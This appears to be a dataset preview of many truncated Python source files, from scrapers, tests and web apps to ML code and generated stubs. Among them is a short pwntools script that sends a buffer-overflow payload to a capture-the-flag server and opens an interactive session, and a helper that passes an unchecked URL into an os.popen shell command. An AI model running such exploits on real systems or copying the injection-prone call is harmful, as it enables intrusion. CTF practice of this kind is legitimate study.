text
stringlengths
2
999k
from bs4 import BeautifulSoup import requests from datetime import datetime, timedelta import re from utility import pre_post, post_city def get_nagoya_info(engine_number=1): today = datetime.today() yesterday = today - timedelta(days=1) today_date = f"{today.month}月{today.day}日" yesterday_date = ...
#!/usr/bin/env python3 # coding = utf8 import unittest as ut from mykit.core.xc import xc_control as xcc from mykit.core.xc import XCError haveImpleXcTags = ("gga", "metagga") haveImpleVaspMap = ("GGA", "METAGGA") haveImpleQeMap = (None, None) haveImpleAbiMap = (None, None) class test_init(ut.TestCase): def tes...
import os import click @click.command() @click.argument('url') def cli(url): if len(url) == 0: return output = os.popen('adb -d shell am start %s -a android.intent.action.VIEW' % url).readlines()[0] echo(output) def echo(value): print('\033[32m %s \033[0m' % value) if __name__ == '__main__...
from flask import Flask app=Flask(__name__) @app.route('/') def home(): return "Hello World" if __name__=='__main__': app.run()
import json import shlex from os import _exit, chdir, getcwd from re import compile as re_compile from re import findall, match from sys import exc_info, path from traceback import print_exception from libs.config import custom_get, gget, gset, order_alias, set_namespace, color from libs.readline import LovelyReadline...
"""A small utility for filling in the README paths to experiment artifacts. The template contains tags of the form {{filetype.experiment_name}}, which are then replaced with the urls for each resource. Note: print a summary of the most recent results for a given dataset via: python find_latest_checkpoints.py --datase...
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in co...
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
'''Exercício Python 092: Crie um programa que leia nome, ano de nascimento e carteira de trabalho e cadastre-o (com idade) em um dicionário. Se por acaso a CTPS for diferente de ZERO, o dicionário receberá também o ano de contratação e o salário. Calcule e acrescente, além da idade, com quantos anos a pessoa vai se apo...
import numpy as np import ioutils as util from argparse import ArgumentParser from representations.representation_factory import create_representation from scipy.sparse import coo_matrix def make_ppmi_mat(old_mat, row_probs, col_probs, smooth, neg=1, normalize=False): prob_norm = old_mat.sum() + (old_mat.shape[0]...
import psyco; psyco.full() from fltk import * import sys sys.path.append('../PyCommon/modules') import Math.mmMath as mmMath import Resource.ysMotionLoader as yf import Renderer.ysRenderer as yr import GUI.ysSimpleViewer as ysv if __name__ == "__main__": motion0, frameTime = yf.readBvhFileAsJointMotion...
from api.models import Course, Post, Student, Subject, Tag print("GETTINGS courses") engenharia = Course.objects.get(name="ENGENHARIA") software = Course.objects.get(name="SOFTWARE") eletronica = Course.objects.get(name="ELETRONICA") aeroespacial = Course.objects.get(name="AEROESPACIAL") energia = Course.objects.get(n...
# -*- coding: utf-8 -*- from datetime import datetime from time import mktime import json from doorman.compat import string_types class DJSONEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, datetime): return { '__type__': '__datetime__', 'e...
"""Reduce the number of pooling step""" from .unet_model import UNet_2
#!{PYTHON} # example syntax: stack_s1.py workshop-test.yaml 2018-09-01 2018-09-05 /data/m5/s1_grd /data/m5/s1_stack import datetime import logging import os import sys import yaml from sar_pre_processing import NetcdfStackCreator script_progress_logger = logging.getLogger('ScriptProgress') script_progress_logger.set...
#!/usr/bin/env python # coding: utf-8 """Parse hazard layer metadata from path/filenames """ import re import pandas import os import json def load_config(): """Read config.json""" config_path = os.path.join(os.path.dirname(__file__),"..","..","config.json") with open(config_path, "r") as config_fh: ...
from django import template register = template.Library() @register.filter def index(sequence, position): return sequence[position]
from django.dispatch import Signal __all__ = [ 'node_rendered', 'template_rendered', ] template_rendered = Signal(providing_args=['template', 'context', 'result']) node_rendered = Signal(providing_args=['node', 'result'])
import json import sys import os from tqdm import tqdm from mdf_refinery.validator import Validator from mdf_refinery.parsers.tab_parser import parse_tab from mdf_forge.toolbox import find_files # VERSION 0.3.0 # This is the converter for the Ni-Co-Al-Ti-Cr quinary alloys dataset # Arguments: # input_path (string...
from django.urls import path from .views import * urlpatterns = [ path('catalog/', user_cards), path('opinions/', for_companies) ]
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2011 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2011 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # no...
# -*- coding: utf-8 -*- # There are tests here with unicode string literals and # identifiers. There's a code in ast.c that was added because of a # failure with a non-ascii-only expression. So, I have tests for # that. There are workarounds that would let me run tests for that # code without unicode identifiers and ...
import numpy import numpy as np import pickle import sys try: from .flow_generator import FlowGenerator from .reader import Reader except: try: from flow_generator import FlowGenerator from reader import Reader except Exception as e: raise ValueError(e) class Preprocessor(objec...
from flask_restful import Resource, current_app from backend.services.campaign_service import CampaignService from backend.services.organisation_service import OrganisationService from backend.models.postgis.utils import NotFound from backend.models.postgis.campaign import Campaign from backend.services.users.authenti...
''' @author : Abdelrauf rauf@konduit.ai ''' # /* ****************************************************************************** # * # * # * This program and the accompanying materials are made available under the # * terms of the Apache License, Version 2.0 which is available at # * https://www.apache.org/l...
from header import * class Spider: manga_list = [] chapter_list = [] contents = [] def __init__(self, manga_data_list): request = requests.get('http://truyentranh.net/danh-sach.tall.html') soup = BeautifulSoup(request.text, 'html.parser') for url in soup.find...
# -*- coding: utf-8 -*- from __future__ import unicode_literals import os extensions = [ "sphinx.ext.autodoc", "sphinx.ext.autosummary", "sphinx.ext.coverage", "sphinx.ext.doctest", "sphinx.ext.extlinks", "sphinx.ext.ifconfig", "sphinx.ext.napoleon", "sphinx.ext.todo", "sphinx.ext....
from rest_framework import viewsets, pagination, filters from django_filters.rest_framework import DjangoFilterBackend from rest_framework_api_key.permissions import HasAPIKey from drf_actions.serializers.event_journal import EventJournalSerializer from drf_actions.models import EventJournal class StandardPagination(...
import tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Logit'] , ['ConstantTrend'] , ['Seasonal_DayOfWeek'] , ['AR'] );
# Copyright (c) 2015 Hitachi Data Systems, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # U...
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
# -*- coding: utf-8 -*- """ASTRO ROUTINES This module contains submodules for astrophysics. """ __all__ = ['wl'] from . import *
# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
import numpy as np import matplotlib.pyplot as plt import pandas as pd def plot( dataframes: dict, subplot=True, fig_size=(10, 10), styles: list = None, keys: list = None, ): if keys is None: keys = set() for label, df in dataframes.items(): keys = keys | set(df.co...
# Copyright 2021 The Magenta Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
# (c) 2012-2018, Ansible by Red Hat # # This file is part of Ansible Galaxy # # Ansible Galaxy is free software: you can redistribute it and/or modify # it under the terms of the Apache License as published by # the Apache Software Foundation, either version 2 of the License, or # (at your option) any later version. # ...
""" This module implements the XMLFeedSpider which is the recommended spider to use for scraping from an XML feed. See documentation in docs/topics/spiders.rst """ from scrapy.spiders import Spider from scrapy.utils.iterators import xmliter, csviter from scrapy.utils.spider import iterate_spider_output from scrapy.sel...
import hashlib import itertools import re from . import datablocks, markdown from .h import * from .messages import * def processInclusions(doc): iters = 0 while True: # Loop because an include can contain more includes. iters += 1 if iters > 1000: die("Looked for include-...
from __future__ import absolute_import import copy from xml.etree import ElementTree Element = ElementTree.Element SubElement = ElementTree.SubElement import svgwrite import svgling.core from svgling.core import TreeOptions, px def html_split_fallback(t): return (to_html(t), tuple()) # override core version bec...
# XGBoost Boosted Decision Tree Classifier # Author: Louis Heery import pandas import numpy import sys import pickle import matplotlib.cm as cm from sklearn.preprocessing import scale from xgboost import XGBClassifier from IPython.display import display from sklearn.ensemble import AdaBoostClassifier, RandomForestCla...
# -*- coding: utf-8 -*- # Generated by Django 1.11.29 on 2021-12-08 08:17 from __future__ import unicode_literals from django.db import migrations, models import kolibri.core.fields import kolibri.utils.time_utils import morango.models.fields.uuids class Migration(migrations.Migration): dependencies = [ ...
from .custom import OctoSQLSourceCustom class OctoSQLSourceStatic(OctoSQLSourceCustom): def __init__(self, name, val): OctoSQLSourceCustom.__init__(self, name) self.val = val self.index = 0 def getRecord(self): if self.index >= len(self.val): return None rec...
#!/usr/bin/python # coding: utf-8 ################################################################################### # ID18 beamline - E=7 keV # Authors/Contributors: Rafael Celestre # Rafael.Celestre@esrf.eu # creation: 01/04/2021 # last update: 19/07/2021 (v0.2) ######################################################...
# Copyright (c) 2013 Bull. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, sof...
#!/usr/bin/python # # Copyright 2019 Polyaxon, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
# # PySNMP MIB module CISCO-IETF-MEGACO-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-IETF-MEGACO-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:52:27 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (def...
# from django.test import TestCase # # # Create your tests here. import requests for p in range(10): json = { "name": "测试系统" + str(p), "describe": f"测试系统{str(p)}描述", "image": "asdfasdfasdlahsdflkas1w3irweoi.png" } r = requests.post("http://127.0.0.1:8000/api/projects...
# Copyright (c) 2017, The University of Bristol, Senate House, Tyndall Avenue, Bristol, BS8 1TH, United Kingdom. # Copyright (c) 2020, COSIC-KU Leuven, Kasteelpark Arenberg 10, bus 2452, B-3001 Leuven-Heverlee, Belgium. from Compiler.types import cint,sint,cfix,sfix,sfloat,cfloat,sbit,MPCThread,Array,MemValue,_number...
import datetime import logging from typing import List, Union from openpyxl import load_workbook from openpyxl.cell import Cell, MergedCell from openpyxl.styles.colors import Color from openpyxl.worksheet.worksheet import Worksheet from appointment import Appointment, AppointmentMeta, AppointmentType from config impo...
from configparser import ConfigParser config = ConfigParser() config.read("D:/Documents/Programmation/Python/Projets/barakaTools/config.ini") config.set("PATHS", "rootPath", "hello") with open("D:/Documents/Programmation/Python/Projets/barakaTools/config.ini", "wb") as f: config.write(f) import constants as const r...
import math import matplotlib as mpl import matplotlib.pyplot as plt import matplotlib.dates as mdates import pandas as pd import os import time from datetime import timedelta, date from CovidCases import CovidCases from CovidCasesECDC import CovidCasesECDC from CovidCasesOWID import CovidCasesOWID from CovidCasesWHOv1...
# MIT License # # Copyright (c) 2020 Anderson Vitor Bento # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify...
# coding:utf8 """Deutsch dictionary""" de = { "LANGUAGE": "Deutsch", # (German) # Client notifications "config-cleared-notification": "Einstellungen gelöscht. Änderungen werden gespeichert, wenn du eine gültige Konfiguration speicherst.", "relative-config-notification": "Relative Konfigurationsdate...
from django.shortcuts import render from lightsteem.client import Client from lightsteem.helpers.amount import Amount from .models import Sponsor def steem_per_mvests(): c = Client() info = c.get_dynamic_global_properties() return (float(Amount(info["total_vesting_fund_steem"]).amount) / (flo...
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
from typing import Union, Tuple, List import torch from SuperMoon.hyedge import count_hyedge, count_node, contiguous_hyedge_idx def hyedge_concat(Hs: Union[Tuple[torch.Tensor, ...], List[torch.Tensor]], same_node=True): node_num = 0 hyedge_num = 0 Hs_new = [] for H in Hs: _H = H.clone() ...
import binascii import logging import os import click @click.command() @click.argument('bytes', default=128) def cli(bytes): """ Generate a random secret token. :return: str """ return logging.info(binascii.b2a_hex(os.urandom(bytes)))
# Copyright (c) 2022, khaled asem and Contributors # See license.txt # import frappe import unittest class Testcivilstuff(unittest.TestCase): pass
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # Copyright 2018-2019 Fetch.AI Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the ...
import re import time import unicodedata from typing import Any, Dict, cast import pkg_resources import requests import requests_html from wikipron.config import Config from wikipron.typing import Iterator, Pron, WordPronPair # Queries for the MediaWiki backend. # Documentation here: https://www.mediawiki.org/wiki/...
import numpy as np import torch from pytorch3d.structures import Meshes from pytorch3d.renderer import ( OpenGLPerspectiveCameras, SoftSilhouetteShader, RasterizationSettings, MeshRenderer, MeshRasterizer, BlendParams ) class base_renderer(): def __init__(self, size, focal=None, fov=None, device='cpu'): ...
from sqlalchemy import Column, Integer, Text, Date, Time, UniqueConstraint from sqlalchemy.orm import relationship from ..dependencies.database_manager import dbm class PomodoroModel(dbm.Base): __tablename__ = 'pomodoro' id = Column(Integer, primary_key=True) user_id = Column(Integer, nullable=False) ...
import pytest import jwt import time from yandexcloud._auth_fabric import get_auth_token_request_func def test_both_params_error(token, service_account_key): with pytest.raises(RuntimeError) as e: get_auth_token_request_func(token=token, service_account_key=service_account_key) assert str(e.value) =...
from gcd.data.dataset_readers.parsing import ParsingDatasetReader
_base_ = ['./super-resolution_static.py', '../../_base_/backends/tensorrt.py'] onnx_config = dict(input_shape=[256, 256]) backend_config = dict( common_config=dict(max_workspace_size=1 << 30), model_inputs=[ dict( input_shapes=dict( input=dict( min_shape=[...
author = 'John Doe' license = 'CC BY-SA 3.0' title = 'Sigal test gallery ☺' source = 'pictures' thumb_suffix = '.tn' keep_orig = True links = [('Example link', 'http://example.org'), ('Another link', 'http://example.org')] files_to_copy = (('../watermark.png', 'watermark.png'),) plugins = ['sigal.plugins.ad...
import pytest from faker import Faker from gretel_client.transformers.transformers.fake_constant import VALID_LABELS from gretel_client.transformers.base import factory from gretel_client.transformers.fakers import _Fakers, FAKER_MAP from gretel_client.transformers import FakeConstantConfig def test_fake_constant(): ...
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities fro...
""" # Licensed to the Apache Software Foundation (ASF) under one * # or more contributor license agreements. See the NOTICE file * # distributed with this work for additional information * # regarding copyright ownership. The ASF licenses this file * # to you under the Apache License, Version 2.0 (the...
from machine import Pin, I2C, deepsleep import utime from bme280 import BME280 from apds9960.const import * from apds9960 import uAPDS9960 as APDS9960 import myNet i2c = I2C(scl=Pin(0), sda=Pin(4)) bme = BME280(i2c=i2c) apds = APDS9960(i2c) led = Pin(22, Pin.OUT) configPin = Pin(2, Pin.IN, Pin.PULL_UP) apds.enableLi...
# @author : Mubashar Khokhar import re import string import glob import time import datetime from collections import Counter class SearchEngine (): def __init__(self): self.booksList = [] # Only loading :ISO-8859-1 encoded files self.booksList = self.getFilteredFiles() # ...
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
#!/usr/bin/python # # This program does a Google search for "quick and dirty" and returns # 50 results. # from xgoogle.search import GoogleSearch, SearchError try: gs = GoogleSearch("quick and dirty") gs.results_per_page = 50 results = gs.get_results() for res in results: print res.title.encode('utf8') ...
#!/usr/bin/env python2 """ The component class """ # upconvert.py - A universal hardware design file format converter using # Format: upverter.com/resources/open-json-format/ # Development: github.com/upverter/schematic-file-converter # # Copyright 2011 Upverter, Inc. # # Licensed under the Apache License, Vers...
from django.apps import AppConfig class QuantConfig(AppConfig): name = 'quant'
from imagePro import videoFeed from imagePro import imageDetection from common import dateTime from messenger import notify from threading import Thread import common.var as var import sys import select class sensor(object): def __init__(self): self.debug = False self.cam = videoFeed() sel...
import os class FileFinderBySubStrings: """File finder for individual files based on substrings. Attributes ---------- root_path : str Path to directory that will be searched within. """ def __init__(self, root_path): self.root_path = root_path def __call__(self, substrin...
from distutils.core import setup from distutils.extension import Extension from Cython.Build import cythonize ext_modules = [ Extension( "cython_random", ["cython_random.pyx"], extra_compile_args=['-Wno-unreachable-code'], ) ] setup( name='cython_random', ext_modules=cythonize(...
# -*- coding: utf-8 -*- # Import Python libs from __future__ import absolute_import # Import Salt Testing libs from salttesting.helpers import ensure_in_syspath ensure_in_syspath('../../') # Import salt libs import integration class DecoratorTest(integration.ModuleCase): def test_module(self): self.ass...
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
#! /usr/bin/env python3 """Conversions to/from quoted-printable transport encoding as per RFC 1521.""" # (Dec 1991 version). __all__ = ["encode", "decode", "encodestring", "decodestring"] ESCAPE = b'=' MAXLINESIZE = 76 HEX = b'0123456789ABCDEF' EMPTYSTRING = b'' from encodings import quopri_codec, aliases try: ...
import torch.nn as nn import torch.nn.functional as F import torch import argparse class UPDeT(nn.Module): def __init__(self, input_shape, args): super(UPDeT, self).__init__() self.args = args self.transformer = Transformer(args.token_dim, args.emb, args.heads, args.depth, args.emb) ...
import csv import time from pm4py.objects.log.importer.xes import factory as xes_importer from pm4py.objects.log.log import EventLog from src.logs.models import Log def get_log(log: Log) -> EventLog: """Read in event log from disk Uses xes_importer to parse log. """ filepath = log.path print("\...
#! /usr/bin/python ''' Invert a binary tree. 4 / \ 2 7 / \ / \ 1 3 6 9 to 4 / \ 7 2 / \ / \ 9 6 3 1 ''' class Solution: # @param {TreeNode} root # @return {TreeNode} def invertTree(self, root): if not root: return tmp_right = self...
#!/usr/bin/env python # vim: tabstop=4 shiftwidth=4 softtabstop=4 import xmlrpclib import json import sys import time def create_vdc(id): print "Create VDC", response = json.loads(s.genericPhptoPy("vdc", 0, "create", json.dumps({"parententityid": id}))) if "dbid" in response: dbid = response["dbi...
from __future__ import absolute_import from . import utils from . import activations from . import applications from . import backend from . import datasets from . import engine from . import layers from . import preprocessing from . import wrappers from . import callbacks from . import constraints from . import initi...
from pwn import * r = remote("pwn.tamuctf.com", 4322) payload = "A" * 0x1e + "\xd8" r.sendlineafter("call?", payload) r.interactive() r.close()
# Dash & Plotly import dash from dash import html from dash import dcc import dash_bootstrap_components as dbc from dash.dependencies import Input, Output, State from dash.exceptions import PreventUpdate import plotly.express as px #Python import os #Others import base64 import pandas as pd #My tools from toolbox ...
#!/usr/bin/env python # Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Script to generate chromium.gpu.json and chromium.gpu.fyi.json in the src/testing/buildbot directory. Maintaining these files by han...
''' Data Loader class for training iteration ''' import random import numpy as np import torch from torch.autograd import Variable import transformer.Constants as Constants class DataLoader(object): ''' For data iteration ''' def __init__( self, src_word2idx, tgt_word2idx, src_insts=No...
""" An old-time classical example, and one of our first goals. To run on top of PyPy. """ import dis dis.dis(dis.dis)
''' Stacking & unstacking I You are now going to practice stacking and unstacking DataFrames. The users DataFrame you have been working with in this chapter has been pre-loaded for you, this time with a MultiIndex. Explore it in the IPython Shell to see the data layout. Pay attention to the index, and notice that the ...
import numpy as np from string import ascii_uppercase def removeDuplicates(word): newword = '' for letter in word: if letter not in newword: newword += letter return newword def grid(word, reverse = False): ''' expects a word returns a numpy matrix with th...
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. """ ParlAI has limited support for using models from `Fairseq <https://github.com/pytorch/fairseq>`_. Fairseq often supp...
''' Created on 9/16/17 @author: jschmid3@stevens.edu Pledge: I pledge my honor that I have abided by the Stevens Honor System -Joshua Schmidt CS115 - Hw 2 ''' import sys from cs115 import * from bigdict import * # Be sure to submit hw2.py. Remove the '_template' from the file name. # Allows up to 10000 recursiv...
#!/usr/bin/env python #title :predictions simulator #description :KNN model building to predict the frequency of claims a customer’s going to make with the company #author :Alejandro Notario #date :2019-11-07 #version : #usage :simulator.py #n...
import math import pytest import specific.apps from mock import MagicMock from specific import utils def test_get_function_from_name(): function = utils.get_function_from_name('math.ceil') assert function == math.ceil assert function(2.7) == 3 def test_get_function_from_name_no_module(): with pytes...
import torch.utils.data import torch.nn as nn def test_weight(model, data_loader, device, flag): """Evaluate model for dataset.""" # set eval state for Dropout and BN layers model.eval() # init loss and accuracy loss_ = 0.0 acc_ = 0.0 acc_domain_ = 0.0 n_total = 0 # set loss funct...
from typing import List from .model import StudioModel from ....source_shared.base import Base from ....utilities.byte_io_mdl import ByteIO class StudioBodypart(Base): def __init__(self): self.model_count = 0 def read(self, reader: ByteIO): self.model_count = reader.read_int32()